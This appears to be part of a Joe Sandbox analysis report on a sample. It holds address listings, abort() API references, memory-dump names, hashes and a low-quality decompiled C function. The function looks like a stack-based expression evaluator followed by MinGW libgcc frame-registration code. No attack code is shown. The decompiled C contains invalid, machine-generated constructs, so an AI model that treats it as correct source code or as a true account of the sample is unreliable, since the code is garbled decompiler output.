0x00439ebe
0x00439ec2
0x00000000
0x00439ec2
0x00439ea9
0x00439ea9
0x00439ea9
0x00439eae
0x0043a1e0
0x0043a1e0
0x0043a1e4
0x00000000
0x00000000
0x00000000
0x00000000
0x00439eae
0x00439ea7
0x00000000
0x00000000
0x0043a080
0x0043a080
0x0043a082
0x0043a082
0x0043a084
0x0043a084
0x0043a084
0x0043a087
0x0043a08d
0x0043a090
0x0043a092
0x0043a095
0x0043a097
0x0043a097
0x0043a09b
0x0043a09d
0x0043a09d
0x0043a0a0
0x0043a0a0
0x0043a0a0
0x0043a0a3
0x0043a0a9
0x0043a0ac
0x0043a0ae
0x0043a0b1
0x0043a0b3
0x0043a0b3
0x0043a0b7
0x0043a0ba
0x0043a0bc
0x0043a0be
0x0043a259
0x0043a25b
0x0043a25d
0x0043a25d
0x0043a0be
0x0043a0c4
0x0043a0c7
0x00000000
0x0043a0cd
0x0043a0cd
0x0043a0cd
0x0043a0d1
0x0043a0d8
0x0043a0db
0x0043a0df
0x0043a0e8
0x0043a0e8
0x0043a0eb
0x00000000
0x0043a0f1
0x0043a0f1
0x0043a0f1
0x00000000
0x0043a0f1
0x0043a0e1
0x0043a0e1
0x0043a0e1
0x0043a0e6
0x0043a0f3
0x0043a0f3
0x0043a0f5
0x0043a0f9
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a0e6
0x0043a0df
0x00000000
0x00000000
0x00439da1
0x00439da1
0x00000000
0x00000000
0x00439e40
0x00439e40
0x00439e44
0x00439e48
0x00439e4c
0x00439e4e
0x00439e53
0x00439e56
0x00439e59
0x00439e5b
0x00439e5d
0x00439e62
0x00439e66
0x00439e6a
0x00000000
0x00000000
0x0043a2a2
0x0043a2a2
0x0043a2a4
0x00000000
0x00000000
0x0043a2ab
0x0043a2ab
0x0043a2ad
0x0043a2af
0x0043a2b0
0x0043a2b0
0x0043a2b0
0x0043a2b2
0x00000000
0x00000000
0x0043a2b9
0x0043a2b9
0x0043a2bb
0x00000000
0x00000000
0x0043a2c2
0x0043a2c2
0x0043a2c4
0x0043a2c6
0x0043a2c8
0x0043a2c8
0x0043a2c8
0x0043a2ca
0x00000000
0x00000000
0x0043a2d1
0x0043a2d1
0x0043a2d4
0x00000000
0x00000000
0x0043a2db
0x0043a2db
0x0043a2dd
0x00000000
0x00000000
0x0043a2e4
0x0043a2e4
0x0043a2e6
0x00000000
0x00000000
0x0043a2ed
0x0043a2ed
0x0043a2ef
0x00000000
0x00000000
0x0043a2f6
0x0043a2f6
0x0043a2f8
0x00000000
0x00000000
0x0043a2ff
0x0043a2ff
0x0043a301
0x00000000
0x00000000
0x0043a308
0x0043a308
0x0043a30a
0x00000000
0x00000000
0x0043a311
0x0043a311
0x0043a313
0x0043a315
0x0043a317
0x0043a31a
0x00000000
0x00000000
0x0043a321
0x0043a321
0x0043a323
0x0043a325
0x0043a327
0x0043a32a
0x00000000
0x00000000
0x0043a331
0x0043a331
0x0043a333
0x0043a335
0x0043a337
0x0043a33a
0x00000000
0x00000000
0x0043a341
0x0043a341
0x0043a343
0x0043a345
0x0043a347
0x0043a34a
0x00000000
0x00000000
0x0043a351
0x0043a351
0x0043a353
0x0043a355
0x0043a357
0x0043a35a
0x00000000
0x00000000
0x0043a361
0x0043a361
0x0043a363
0x0043a365
0x0043a367
0x0043a36a
0x00439d60
0x00439d60
0x00439d63
0x00000000
0x00439d69
0x00439d69
0x00439d69
0x00439d6c
0x00439d70
0x00000000
0x00439d70
0x00000000
0x00000000
0x00439d47
0x00000000
0x00439d3e
0x00439d7a
0x00439d7a
0x00439d80
0x00000000
0x00439d86
0x00439d86
0x00439d86
0x00439d8a
0x00439d91
0x00439d92
0x00439d94
0x00439d94
0x00000000
0x00439d80
0x004c5e66
0x004c5e66
0x004c5e6b
0x004c5e70
0x004c5e75
0x004c5e7a
0x004c5e7f
0x004c5e84
0x004c5e89
0x004c5e8e
0x004c5e93
0x004c5e98
0x004c5ea0
0x004c5ea5
0x004c5eaa
0x004014e4
0x004014e6
0x004014e9
0x004014f0
0x004014f6
0x004014fb
0x00401570
0x0040157a
0x004014fd
0x004014fd
0x004014ff
0x00401506
0x00401512
0x00401515
0x0040151a
0x00401522
0x00401525
0x00401527
0x0040152a
0x0040152c
0x00401534
0x00401539
0x0040153e
0x0040153e
0x00401543
0x00401545
0x0040154d
0x00401554
0x00401554
0x00401556
0x00401569
0x00000000

APIs

abort.MSVCRT ref: 004C5E66
abort.MSVCRT ref: 004C5E6B
abort.MSVCRT ref: 004C5E70
abort.MSVCRT(0043AF3B), ref: 004C5E75
abort.MSVCRT(0043AF3B), ref: 004C5E7A
abort.MSVCRT(0043AF3B), ref: 004C5E7F
abort.MSVCRT(0043AF3B), ref: 004C5E84
abort.MSVCRT(0043AF3B), ref: 004C5E89
abort.MSVCRT(0043AF3B), ref: 004C5E8E
abort.MSVCRT(0043AF3B), ref: 004C5E93
abort.MSVCRT(0043AF3B), ref: 004C5E98
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA0
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EA5
abort.MSVCRT(?,?,00000000,?,00000000,74714D40,0043CC69), ref: 004C5EAA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 3099b17191a7b6b86abff83f1d58a498639109b920b9895125baa250f9434ba0
Instruction ID: 5699a667547058c4ca731fc0fead8ec7a196d3a04404d76a85fd96add1063e5a
Opcode Fuzzy Hash: 3099b17191a7b6b86abff83f1d58a498639109b920b9895125baa250f9434ba0
Instruction Fuzzy Hash: 16E0483160C9238A9320EF79914112B76E7AE86794F15AD2FE486A3201DB39DD06457F

Uniqueness

Uniqueness Score: -1.00%

Function 0043A150 Relevance: 21.0, APIs: 14, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0043A150(CHAR* __ebx, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t195 = __ebx;
					if(_a20 <= 2) {
						break;
					}
					L88:
					__ecx = __eax - 1;
					__edx = __eax - 2;
					__eax = __eax - 3;
					__esi =  *(__esp + 0x30 + __ecx * 4);
					__ebp =  *(__esp + 0x30 + __edx * 4);
					__edi =  *(__esp + 0x30 + __eax * 4);
					 *(__esp + 0x30 + __ecx * 4) = __ebp;
					 *(__esp + 0x30 + __edx * 4) = __edi;
					 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
					__esi = __ebx;
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						L7:
						__eax =  *__esi & 0x000000ff;
						__ebx = __esi + 1;
						__ecx = __eax - 3;
						__edx = __eax;
						if(__cl > 0xee) {
							L96:
							abort();
							goto L97;
						} else {
							L8:
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M00511DB0))) {
								case 0:
									L9:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L96;
								case 2:
									L22:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L23:
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											L110:
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											L24:
											if(__eflags <= 0) {
												L97:
												__eflags = __dl - 6;
												if(__dl != 6) {
													L99:
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L96;
													} else {
														L100:
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													L98:
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												L25:
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													L102:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L103:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													L26:
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														L95:
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															L109:
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L96;
														}
													} else {
														L27:
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															L128:
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															L28:
															if(__eflags <= 0) {
																L107:
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L96;
																} else {
																	L108:
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																L29:
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	L30:
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L96;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L141;
								case 3:
									L21:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									L20:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									L19:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									L18:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									L16:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									L68:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L69:
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									L63:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L64:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L94;
									} else {
										L66:
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L94;
										} else {
											L67:
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									L61:
									__ebp = _a20;
									__eflags = __ebp;
									if(__ebp == 0) {
										goto L129;
									} else {
										L62:
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L141;
								case 0xb:
									L59:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L60:
										__eax = __eax - 1;
										__esi = __ebx;
										_a20 = __eax;
										goto L12;
									}
									goto L141;
								case 0xc:
									L57:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L129;
									} else {
										L58:
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L141;
								case 0xd:
									L55:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L129;
									} else {
										L56:
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L141;
								case 0xe:
									L89:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L90:
										__edx = __eax - 1;
										__eax = __eax - 2;
										__esi =  *(__esp + 0x30 + __eax * 4);
										__ecx =  *(__esp + 0x30 + __edx * 4);
										 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
										__esi = __ebx;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
										goto L12;
									}
									goto L141;
								case 0xf:
									goto L0;
								case 0x10:
									L91:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L92:
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L96;
										} else {
											L93:
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M0051216C))) {
												case 0:
													goto L111;
												case 1:
													goto L112;
												case 2:
													goto L113;
												case 3:
													goto L114;
												case 4:
													goto L115;
												case 5:
													goto L96;
												case 6:
													goto L116;
												case 7:
													goto L117;
												case 8:
													goto L118;
												case 9:
													goto L119;
												case 0xa:
													goto L120;
												case 0xb:
													goto L121;
												case 0xc:
													goto L122;
												case 0xd:
													goto L123;
												case 0xe:
													goto L124;
												case 0xf:
													goto L125;
												case 0x10:
													goto L126;
												case 0x11:
													goto L127;
											}
										}
										goto L10;
									}
									goto L141;
								case 0x11:
									L83:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L84:
										__eax = __eax - 1;
										__edi = __eax;
										_a20 = __eax;
										__eax = __esi + 3;
										__edx =  *(__esp + 0x30 + __edi * 4);
										__eflags =  *(__esp + 0x30 + __edi * 4);
										if( *(__esp + 0x30 + __edi * 4) == 0) {
											__esi = __eax;
										} else {
											__esi =  *(__esi + 1);
											__esi = __esi + __eax;
										}
										goto L12;
									}
									goto L141;
								case 0x12:
									L87:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									L86:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									L50:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L51:
										__esi = _a28;
										__edx =  *(__eax + 0x5563f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												L54:
												goto L129;
											}
										} else {
											L52:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L94;
											} else {
												goto L53;
											}
										}
									}
									goto L141;
								case 0x15:
									L40:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										L41:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L45:
										__esi = _a28;
										__edx =  *(__eax + 0x5563f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L48:
												__edi =  *__edi;
												goto L49;
											}
										} else {
											L46:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L141;
								case 0x16:
									L33:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L34:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L36:
										__ecx = _a28;
										__eax =  *(__esi + 0x5563f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L129;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											L37:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L94:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L141;
								case 0x17:
									L71:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L72:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L74:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L78:
										__ecx = _a28;
										__edx =  *(__esi + 0x5563f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L81:
												__eax =  *__eax;
												goto L82;
											}
										} else {
											L79:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L141;
								case 0x18:
									L17:
									__esi = __ebx;
									goto L12;
								case 0x19:
									L32:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00438E40(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = L00438D00(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L111:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L112:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L113:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L114:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L115:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L116:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L117:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L118:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L119:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L121:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L122:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L125:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L129;
									} else {
										L11:
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L141;
							}
						}
						L141:
					}
					L13:
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						L14:
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__ebx);
						_pop(__esi);
						_pop(__edi);
						_pop(__ebp);
						return __eax;
					}
					goto L141;
				}
				L129:
				abort();
				L004476B0();
				abort();
				L004476B0();
				L004476B0();
				L004476B0();
				L004476B0();
				L004476B0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_t208 = _t207 - 0x1c;
				 *_t208 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t209 = _t208 - 4;
				if(_t189 == 0) {
					 *0x4ce004 = 0x43c7d0;
					_t202 = E0043C580;
				} else {
					_t197 = _t189;
					 *_t209 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t211 = _t209 - 4;
					 *0x556df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t211 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t212 = _t211 - 8;
					_t202 = _t193;
					_v40 = "__deregister_frame_info";
					 *_t212 = _t197;
					 *0x4ce004 = GetProcAddress(??, ??);
					_t209 = _t212 - 8;
				}
				if(_t202 != 0) {
					_v40 = 0x55601c;
					 *_t209 = 0x5190f8;
					 *_t202();
				}
				 *_t209 = 0x401590;
				return E004014C0();
				goto L141;
			}

0x0043a150
0x0043a150
0x0043a150
0x0043a150
0x0043a157
0x00000000
0x00000000
0x0043a15d
0x0043a15d
0x0043a160
0x0043a163
0x0043a166
0x0043a16a
0x0043a16e
0x0043a172
0x0043a176
0x0043a17a
0x0043a17e
0x00439d74
0x00439d74
0x00439d78
0x00000000
0x00000000
0x00439d30
0x00439d30
0x00439d33
0x00439d36
0x00439d39
0x00439d3e
0x0043a1f9
0x0043a1f9
0x00000000
0x00439d44
0x00439d44
0x00439d44
0x00439d47
0x00000000
0x00439d50
0x00439d50
0x00439d54
0x00439d57
0x00439d57
0x00000000
0x00000000
0x00000000
0x00000000
0x00439de0
0x00439de0
0x00439de4
0x00439de6
0x00000000
0x00439dec
0x00439dec
0x00439dec
0x00439dee
0x00439df1
0x00439df5
0x00439df8
0x0043a299
0x0043a299
0x0043a29b
0x00439dfe
0x00439dfe
0x00439dfe
0x0043a200
0x0043a200
0x0043a203
0x0043a210
0x0043a210
0x0043a213
0x00000000
0x0043a215
0x0043a215
0x0043a215
0x0043a217
0x0043a219
0x0043a21c
0x0043a21e
0x0043a21e
0x0043a205
0x0043a205
0x0043a205
0x0043a207
0x0043a207
0x00439e04
0x00439e04
0x00439e04
0x00439e07
0x0043a230
0x0043a230
0x0043a232
0x0043a232
0x0043a234
0x0043a234
0x0043a234
0x0043a237
0x0043a23d
0x0043a240
0x0043a242
0x0043a245
0x0043a247
0x0043a247
0x0043a24b
0x0043a24d
0x00439e0d
0x00439e0d
0x00439e0d
0x00439e10
0x0043a1f0
0x0043a1f0
0x0043a1f3
0x0043a290
0x0043a290
0x0043a292
0x00000000
0x00000000
0x00000000
0x00439e16
0x00439e16
0x00439e16
0x00439e1a
0x00439e1d
0x00439e1f
0x0043a371
0x0043a371
0x0043a374
0x00439e25
0x00439e25
0x00439e25
0x0043a274
0x0043a274
0x0043a276
0x00000000
0x0043a27c
0x0043a27c
0x0043a27c
0x0043a27f
0x0043a27f
0x00439e2b
0x00439e2b
0x00439e2b
0x00439e2d
0x00439e37
0x00439e37
0x00439e39
0x00439e2f
0x00439e2f
0x00439e2f
0x00439e31
0x00000000
0x00000000
0x00000000
0x00000000
0x00439e31
0x00439e2d
0x00439e25
0x00439e1f
0x00439e10
0x00439e07
0x00439dfe
0x00000000
0x00439df8
0x00000000
0x00000000
0x00439dd0
0x00439dd0
0x00439dd4
0x00439dd8
0x00000000
0x00000000
0x00439dc0
0x00439dc0
0x00439dc4
0x00439dc8
0x00000000
0x00000000
0x00439db2
0x00439db2
0x00439db6
0x00439dba
0x00000000
0x00000000
0x00439da5
0x00439da5
0x00439da9
0x00439dad
0x00000000
0x00000000
0x00439d95
0x00439d95
0x00439d98
0x00439d9c
0x00000000
0x00000000
0x0043a053
0x0043a053
0x0043a055
0x0043a057
0x0043a057
0x0043a060
0x0043a060
0x0043a060
0x0043a063
0x0043a069
0x0043a06c
0x0043a06e
0x0043a071
0x0043a073
0x0043a073
0x0043a077
0x00000000
0x00000000
0x0043a010
0x0043a010
0x0043a012
0x0043a012
0x0043a014
0x0043a014
0x0043a014
0x0043a017
0x0043a01d
0x0043a020
0x0043a022
0x0043a025
0x0043a027
0x0043a027
0x0043a02b
0x0043a02e
0x00000000
0x0043a034
0x0043a034
0x0043a034
0x0043a034
0x0043a037
0x00000000
0x0043a03d
0x0043a03d
0x0043a03d
0x0043a042
0x0043a046
0x0043a04a
0x0043a04c
0x0043a04c
0x0043a037
0x00000000
0x00000000
0x00439ff0
0x00439ff0
0x00439ff4
0x00439ff6
0x00000000
0x00439ffc
0x00439ffc
0x00439ffc
0x0043a000
0x00000000
0x0043a000
0x00000000
0x00000000
0x00439fd0
